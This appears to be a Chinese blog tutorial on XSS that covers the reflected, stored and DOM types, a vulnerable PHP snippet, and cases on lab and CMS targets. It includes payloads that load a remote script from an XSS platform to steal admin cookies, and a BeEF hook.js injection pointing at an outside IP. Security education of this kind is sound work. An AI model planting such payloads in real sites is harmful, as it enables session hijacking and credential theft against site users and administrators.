WEB 攻防-通用漏-XSS 跨站脚本攻击-反射型/存储型/DOMBEEF-XSS

XSS跨站脚本攻击技术(一)

XSS的定义

XSS攻击,全称为跨站脚本攻击,是指攻击者通过在网页中插入恶意脚本代码,当用户浏览该网页时,恶意脚本会被执行,从而达到攻击目的的一种安全漏洞。这些恶意脚本可以窃取用户的敏感信息,如Cookie、会话令牌等,或者诱导用户执行不安全的操作,如点击恶意链接、下载恶意软件等。

XSS的原理

它是由前端JavaScript代码造成的,具体来说,是Web应用程序在处理用户输入时未能充分验证和过滤,导致恶意脚本被注入到网页中并由用户的浏览器执行。这种漏洞通常发生在动态网页中,其中JavaScript代码用于与服务器进行交互、更新页面内容或处理用户输入。由于JavaScript代码在用户的浏览器中执行,因此攻击者可以利用这一特性来构造恶意脚本,从而控制用户的浏览器进行恶意操作。

XSS的危害

理论上,只要JavaScript功能能够实现的操作,XSS攻击都有可能加以利用并实现。如:

  1. 实施网络钓鱼,包括窃取各类用户账号信息,严重威胁用户的信息安全。
  2. 窃取浏览器中用户的cookies资料,进而获取用户的隐私信息,甚至利用用户身份对网站执行非法操作。
  3. 劫持用户(浏览器)会话,使攻击者能够执行任意操作,如非法转账、发表日志、发送邮件等,对用户造成直接的经济损失或声誉损害。
  4. 强制弹出广告页面、刷流量等,干扰用户的正常使用体验,同时损害网站的正常运营。
  5. 网页挂马,将恶意软件或病毒植入用户电脑,进一步危害用户的系统安全。
  6. 进行恶意操作,如任意篡改页面信息、删除文章等,破坏网站内容的完整性和真实性。
  7. 发起大量的客户端攻击,如DDoS攻击,影响网站的正常访问和稳定性。
  8. 获取客户端信息,如用户的浏览历史、真实IP、开放端口等,为进一步的攻击提供情报支持。
  9. 控制受害者机器向其他网站发起攻击,形成攻击链,扩大攻击范围。
  10. 结合其他漏洞,如CSRF漏洞,实施更为复杂的攻击,提升攻击的成功率和危害性。
  11. 提升用户权限,包括进一步渗透网站,获取更高级别的访问权限和数据访问能力。
  12. 传播跨站脚本蠕虫,实现自动化的攻击传播和感染,造成更广泛的网络安全威胁。

XSS攻击的主要类型

反射型XSS

定义:反射型XSS,也称为非持久型或参数型XSS,是指攻击者通过构造包含恶意脚本的URL参数,当用户点击该链接时,恶意脚本会被回显到网页上并执行。

特点:反射型XSS攻击通常发生在用户与Web应用程序进行交互时,如搜索、提交表单等。由于恶意脚本是通过URL参数传递的,因此其生命周期较短,一旦用户关闭页面或清除浏览器缓存,恶意脚本就会消失。

示例

有这么一个情况,如后端接受GET请求中的变量,并在前端直接输出该变量,

<?php
// 接收GET请求中的'x'参数
$code = $_GET['x'];// 直接输出变量,未进行任何过滤或转义
echo $code;
?>

正常访问

当你使用正常参数访问该页面时,比如:x=1123

x接收到值会在页面中显示,假如传输x的值改成JavaScript的弹窗代码:

x=<script>alert(1)</script>

查看源代码,发现显示内容会出现在审查元素中:

按正常来说,应该显示<script>alert(1)</script>,但是这里显示空白。是因为这段代码被当成JavaScript代码去执行了。执行出的效果就是弹窗。
在产生过程中,有一个输入的值,还有个输出的值。这就是跨站产生的基本原理。但这种漏洞是一次性的,只有访问构造的地址http://127.0.0.1:8081/web/mysql/xss.php?x=<script>alert(1)</script>才可以触发此类漏洞。必须构造给别人,让别人访问,才能触发漏洞。 

在这里,“反射”指的是恶意脚本被服务器接收后,几乎立即被“反射”回用户的浏览器,就像一面镜子一样。

存储型XSS(攻击代码被写进了数据库里)

定义:存储型XSS,也称为持久型XSS,是指攻击者将包含恶意脚本的内容提交到Web应用程序中,并永久存储在服务器上。当其他用户浏览该内容时,恶意脚本会被执行。

特点:存储型XSS攻击的危害性较大,因为恶意脚本被永久存储在服务器上,可以持续影响所有访问该内容的用户。此外,攻击者还可以利用存储型XSS攻击进行更复杂的攻击,如传播跨站脚本蠕虫、构建僵尸网络等。

危害:存储型XSS可能导致用户信息泄露、账户劫持、恶意软件传播等严重后果。攻击者可以利用窃取的用户Cookie进行会话劫持,或者诱导用户执行不安全的操作,如输入敏感信息、下载恶意软件等。安全产商一般只会接受存储型XSS,不会接受反射型XSS(太鸡肋)。

示例:

场景描述

假设有一个在线留言板应用,允许用户提交留言并显示在网页上。这些留言被存储在服务器的数据库中,当用户访问留言板页面时,服务器会从数据库中检索留言并显示在网页上。

攻击过程

  1. 恶意输入:
    • 攻击者在留言框中输入一段包含恶意脚本的留言,例如:<script>alert('恶意代码执行!');</script>
    • 攻击者提交这段留言。
  2. 存储恶意代码:
    • 服务器接收到这段留言后,未进行充分的验证或过滤,就将其存储在数据库中。
  3. 反射恶意代码:
    • 当其他用户访问留言板页面时,服务器从数据库中检索留言,并将其嵌入到HTML页面中返回给用户。
    • 由于恶意代码被直接嵌入到页面中,当用户的浏览器解析这段HTML时,会执行其中的恶意脚本。
  4. 攻击结果:
    • 用户的浏览器弹出一个警告框,显示“恶意代码执行!”。
    • 这只是恶意脚本的一个简单示例,实际攻击中,恶意脚本可能会窃取用户的敏感信息、执行未经授权的操作、重定向用户到恶意网站等。

DOM型XSS

定义:DOM型XSS是指攻击者通过构造特殊URL或利用网页功能发送恶意代码请求,当受害者浏览器处理这些请求时,会修改DOM树并执行恶意脚本。DOM型不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性也属于反射型。所以DOM型xss取决于输出位置,并不取决于输出环境,因此DOM型xss既有可能是反射型的,也有可能是存储型的

特点:与反射型和存储型XSS不同,DOM型XSS的攻击载荷是在受害者浏览器本地执行的。因此,其相对难以通过传统的输入验证和过滤方法进行防御。此外,DOM型XSS攻击通常与Web应用程序的具体实现细节相关,因此其攻击方式和防御措施也因人而异。

示例:pikachu靶场-DOM型,代码如下

点击click me后, F12查看具体情况,可以看出输入内容会构造一个a标签,并将输入内容作为参数href的值,放在id=dom的容器里

而把而已代码拼接到了a标签里面,尝试构造闭合触发弹窗 

#" onclick="alert('xss')">

 

真实案例和XSS平台

1. 反射型实例-UA查询平台数据输出

平台:useragent.openadmintools.com

访问这个平台,可以发现他抓取了访问者的浏览器信息,重新进行访问,抓包,修改数据包UA头。

<script>alert(xss)</script>

数据包发送,就可以看到浏览器弹窗。

 

但是这类漏洞构成危害不大。因为这个需要在UA头中修改,那么要怎么发给别人。别人访问的时候又不会修改UA头再去访问。

反射型xss的漏洞不好利用的原因:

  ①让对方去访问构造地址;

  ②对方是网站管理员,获取其登录的cookies信息;

  ③浏览器会自动过滤xss的攻击;

 

2. 存储型实例-订单系统CMS权限获取

① 前台填写信息(包含了XSS代码),下订单;

② XSS代码被插入到了数据库;

③ 登录后台进行订单查看时,js代码被执行,弹出js执行代码的窗口,这就形成了xss攻击。

进行留言,在留言上写上payload

那么如何获取管理员的cookie呢?

xss利用平台:网上找或者自己搭建

(1)网上找的平台,注册一个账号:比如,https://xss.pt/xss.php

① 创建项目,然后进行功能选择,查看代码

1645690039564-0e49524e-a0bb-4bc7-a66a-486df581885e.png

② 复制一个代码:<sCRiPt sRC=//xss.pt/X8Vz></sCrIpT>

③ 将代码从目标网站的前台写入

④ 等待目标网站的管理员访问,在下面等待cookie的接收

 

 

回到xss平台

 

比如对后台admin/admin.php?uid=3进行访问,抓包。将获得的cookie信息复制到数据包中。

但是这个cookie不能进行登录,因为这个平台获取到的cookie信息不完整,在正常登录中cookie中还有phpsessid的值,未获取到;
这个网站采用的不是cookie验证,而是phpsessid进行验证,所以无法登录后台。通常,有的网站不止使用cookie,还会使用phpsessid、httponly等进行登录保护。

 

(2)自己搭建xss利用平台(BeEF平台)

搭建:https://blog.csdn.net/qq_40624810/article/details/110958036

kali安装docker:https://blog.csdn.net/m0_67844671/article/details/132872790

安装BeEF:Beef-Xss 浏览器攻击框架的使用_docker安装beef-xss-CSDN博客

安装完成后,访问http://192.168.132.130:3000/ui/panel

默认账号密码beef,beef

在BeEF网站下面有一个hook.js文件,只要加载了这个地址,就会劫持这个浏览器。
将xss跨站代码写入到登录成功的文件,比如admin/index.php文件
<script src="http://47.100.167.248:3000/hook.js"></script>  //注意IP地址改成自己beef的ip
这个平台也可以获取cookie,跳转,下载,钓鱼,伪装成flash。

3.DOM型实例-EmpireCMS前端页面审计

DOM类型的全都是前端的代码,所以基本上都是白盒审计
在upload/e/Viewimg/index.html 发现关键代码:
if(Request("url")!=0){
document.write("<a title=\"点击观看完整的图片...\" href=\""+Request("url")+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");
}

 

追踪request函数

 

 简单来说,这个request函数就是用来接收URL的地址

那么要怎么构造他呢?

访问地址http://127.0.0.1:8103/e/Viewimg/index.html

测试:http://127.0.0.1:8103/e/Viewimg/index.html?url=1

url的参数1在路径访问时并没有被当做参数,而是直接被当做文件名访问,那么应该怎么触发跨站呢?
http://127.0.0.1:8103/e/Viewimg/index.html?url=javascript:alert(1) 
这样子构造在源代码中
document.write("<a title=\"点击观看完整的图片...\" href=\""+javascript:alert(1)+"\" target=\"_blank\"><img src=\""+Request("url")+"\" border=0 class=\"picborder\" onmousewheel=\"return bbimg(this)\" οnlοad=\"if(this.width>screen.width-500)this.style.width=screen.width-500;\">");

点击后的地址进行了弹窗:即这个地址http://127.0.0.1:8103/e/Viewimg/javascript:alert(1)执行了js代码

五、XSS平台与工具框架预告

  • XSS平台:介绍XSS攻击平台的概念,并预告后续文章将详细介绍常见的XSS平台。
  • BEEF-XSS框架:提及BEEF框架,并预告后续文章将深入探讨其使用方法和功能。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/2465.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】B2112 石头剪子布

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;题目描述游戏规则&#xff1a;输入格式&#xff1a;输出格式&#xff1a;输入输出样例&#xff1a;解题分析与实现 &#x1f4af;我的做法实现逻辑优点与不足 &#x1f4af…

2025 年前端开发学习路线图完整指南

如果您想成为前端开发人员&#xff0c;本指南适合您。无论您是从零开始还是已经了解基础知识&#xff0c;它都会帮助您专注于真正重要的事情并学习让您脱颖而出的技能。 刚开始的时候&#xff0c;我浪费了几个月的时间在不相关的教程上&#xff0c;因为我不知道从哪里开始&…

【蓝牙】win11 笔记本电脑连接 hc-06

文章目录 前言步骤 前言 使用电脑通过蓝牙添加串口 步骤 设置 -> 蓝牙和其他设备 点击 显示更多设备 更多蓝牙设置 COM 端口 -> 添加 有可能出现卡顿&#xff0c;等待一会 传出 -> 浏览 点击添加 hc-06&#xff0c;如果没有则点击 再次搜索 确定 添加成…

Docker--Docker Compose(容器编排)

什么是 Docker Compose Docker Compose是Docker官方的开源项目&#xff0c;是一个用于定义和运行多容器Docker应用程序的工具。 服务&#xff08;Service&#xff09;&#xff1a;在Docker Compose中&#xff0c;一个服务实际上可以包括若干运行相同镜像的容器实例&#xff0…

【Linux】11.Linux基础开发工具使用(4)

文章目录 3. Linux调试器-gdb使用3.1 背景3.2 下载安装3.3 使用gdb查询3.4 开始使用 3. Linux调试器-gdb使用 3.1 背景 程序的发布方式有两种&#xff0c;debug模式和release模式 Linux gcc/g出来的二进制程序&#xff0c;默认是release模式 要使用gdb调试&#xff0c;必须…

【Linux 36】多路转接 - epoll

文章目录 &#x1f308; 一、epoll 初步认识&#x1f308; 二、epoll 相关接口⭐ 1. 创建 epoll -- epoll_create⭐ 2. 控制 epoll -- epoll_ctr⭐ 3. 等待 epoll -- epoll_wait &#x1f308; 三、epoll 工作原理⭐ 1. 红黑树和就绪队列⭐ 2. 回调机制⭐ 3. epoll 的使用过程 …

微信小程序订阅消息提醒-云函数

微信小程序消息订阅分2种&#xff1a; 1.一次性订阅&#xff1a;用户订阅一次就可以推送一次&#xff0c;如果需要多次提醒需要多次订阅。 2.长期订阅&#xff1a;只有公共服务领域&#xff0c;如政务、医疗、交通、金融和教育等。‌在用户订阅后&#xff0c;在很长一段时间内…

使用 Charles 调试 Flutter 应用中的 Dio 网络请求

为了成功使用 Charles 抓取并调试 Flutter 应用程序通过 Dio 发起的网络请求&#xff0c;需遵循特定配置步骤来确保应用程序能够识别 Charles 的 SSL 证书&#xff0c;并正确设置代理服务器。 配置 Charles 以支持 HTTPS 请求捕获 Charles 默认会拦截 HTTP 流量&#xff1b;…

《HTML在网络安全中的多面应用:从防范攻击到安全审查》

Html基础 Html简介 HTML&#xff08;HyperText Markup Language&#xff0c;超文本标记语言&#xff09;是用于描述网页内容和结构的标准语言。以下是对HTML的简要介绍&#xff1a; 基本概念 定义&#xff1a; HTML不是一种编程语言&#xff0c;而是一种标记语言。 它使用标…

算法每日双题精讲 —— 二分查找(二分查找,在排序数组中查找元素的第一个和最后一个位置)

&#x1f31f;快来参与讨论&#x1f4ac;&#xff0c;点赞&#x1f44d;、收藏⭐、分享&#x1f4e4;&#xff0c;共创活力社区。 &#x1f31f; 别再犹豫了&#xff01;快来订阅我们的算法每日双题精讲专栏&#xff0c;一起踏上算法学习的精彩之旅吧&#xff01;&#x1f4aa…

《C++11》深入剖析正则表达式库:解锁文本处理的高效之道

在现代编程领域&#xff0c;文本处理是一项不可或缺的任务&#xff0c;而正则表达式无疑是这一领域的强大利器。C11标准库的引入&#xff0c;为C开发者带来了正则表达式库&#xff0c;极大地丰富了C在文本处理方面的能力。本文将全方位、多角度地深入探讨C11正则表达式库&#…

Cosmos:英伟达发布世界基础模型,为机器人及自动驾驶开发加速!

1. 简介 在2025年消费电子展&#xff08;CES&#xff09;上&#xff0c;NVIDIA发布了全新的Cosmos平台&#xff0c;旨在加速物理人工智能&#xff08;AI&#xff09;系统的开发&#xff0c;尤其是自主驾驶车辆和机器人。该平台集成了生成式世界基础模型&#xff08;WFM&#x…

Hive集群的安装准备

Hive的安装与集群部署详细指南 一、环境与软件准备 在开始Hive的安装与集群部署之前&#xff0c;确保您准备好以下环境和软件&#xff1a; 虚拟机软件&#xff1a; VMware Workstation 17.5&#xff1a;用于创建和管理虚拟机&#xff0c;确保可以在其上安装Linux操作系统。 …

SpringBoot集成Mongodb

SpringBoot集成Mongodb 本文简要介绍SpringBoot集成mongodb&#xff0c;并实现增删改查 1. 引入依赖 spring-boot-starter-data-mongodb 提供了mongoTemplate供底层操作及mongodb驱动等 <dependency><groupId>org.springframework.boot</groupId><arti…

java根据模板导出word,并在word中插入echarts相关统计图片以及表格

引入依赖创建word模板创建ftl模板文件保存的ftl可能会出现占位符分割的问题&#xff0c;需要处理将ftl文件中的图片的Base64删除&#xff0c;并使用占位符代替插入表格&#xff0c;并指定表格的位置在图片下方 Echarts转图片根据模板生成word文档DocUtil导出word文档 生成的wor…

RabbitMQ的工作模式

&#xff08;一&#xff09;工作模式 RabbitMQ有7种工作模式来进行消息传递&#xff0c;我们上一篇博客就是简单模式 1.简单模式&#xff08;simple&#xff09; 也就是点对点的形式 P就是生产者&#xff0c;C就是消费者&#xff0c;Queue就是消息队列&#xff08;生产者向qu…

晨辉面试抽签和评分管理系统之十:如何搭建自己的数据库服务器,使用本软件的网络版

晨辉面试抽签和评分管理系统&#xff08;下载地址:www.chenhuisoft.cn&#xff09;是公务员招录面试、教师资格考试面试、企业招录面试等各类面试通用的考生编排、考生入场抽签、候考室倒计时管理、面试考官抽签、面试评分记录和成绩核算的面试全流程信息化管理软件。提供了考生…

迅为RK3568开发板篇OpenHarmony配置HDF驱动控制LED-新增 topeet子系统-编写 bundle.json文件

bundle.json 文件内容如下所示&#xff1a; 下面是对各个字段的解释&#xff1a; 1. name: "ohos/demos" - 这是组件或项目的名称&#xff0c;这里表示它属于 OHOS&#xff08;OpenHarmony OS&#xff09;生态系统下的一个名为"demos"的组件。 2. descri…

JavaScript-正则表达式方法(RegExp)

RegExp 对象用于将文本与一个模式匹配。 有两种方法可以创建一个 RegExp 对象&#xff1a;一种是字面量&#xff0c;另一种是构造函数。 字面量由斜杠 (/) 包围而不是引号包围。 构造函数的字符串参数由引号而不是斜杠包围。 new RegExp(pattern[, flags])一.符集合 1.选择…

信凯科技业绩波动明显:毛利率远弱行业,资产负债率偏高

《港湾商业观察》施子夫 1月8日&#xff0c;深交所官网显示&#xff0c;浙江信凯科技集团股份有限公司&#xff08;以下简称“信凯科技”&#xff09;主板IPO提交注册。 自2022年递交上市申请&#xff0c;信凯科技的IPO之路已走过两年光景&#xff0c;尽管提交注册&#xff0…